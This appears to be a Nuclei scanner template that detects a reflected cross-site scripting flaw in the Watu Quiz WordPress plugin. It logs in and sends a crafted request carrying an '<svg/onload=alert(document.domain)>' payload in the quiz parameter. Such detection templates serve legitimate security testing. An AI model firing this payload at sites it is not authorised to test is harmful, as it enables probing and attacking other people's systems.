watu-xss: Watu Quiz < 3.1.2.6 - Cross Site Scripting

id: watu-xss

info:
  name: Watu Quiz < 3.1.2.6 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Watu Quiz WordPress plugin was affected by a Reflected XSS via question-form.html.php security vulnerability.
  remediation: Fixed in version 3.1.2.6
  reference:
    - https://wpscan.com/vulnerability/0ba54817-0d32-49b5-b247-9c8fd88b6bca
    - https://wordpress.org/plugins/watu/
    - https://plugins.trac.wordpress.org/changeset?reponame=&new=2114019%40watu&old=2112579%40watu&
  metadata:
    verified: true
    max-request: 2
  tags: watu,quiz,authenticated,wpscan,xss,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET wp-admin/admin.php?page=watu_question&question=1&action=edit&quiz=1"><svg/onload=alert(document.domain)>  HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>") && contains(body_2, "watu")'
        condition: and
# digest: 4a0a004730450220541daadb333e71ead3de4128610c152c50668fdd13b79750f70a9071ce0b75c0022100d6e47ac8242247fd16d92a8b87919e9941816fdfcda4886f92f4b3a477359d6f:922c64590222798bb761d5b6d8e72950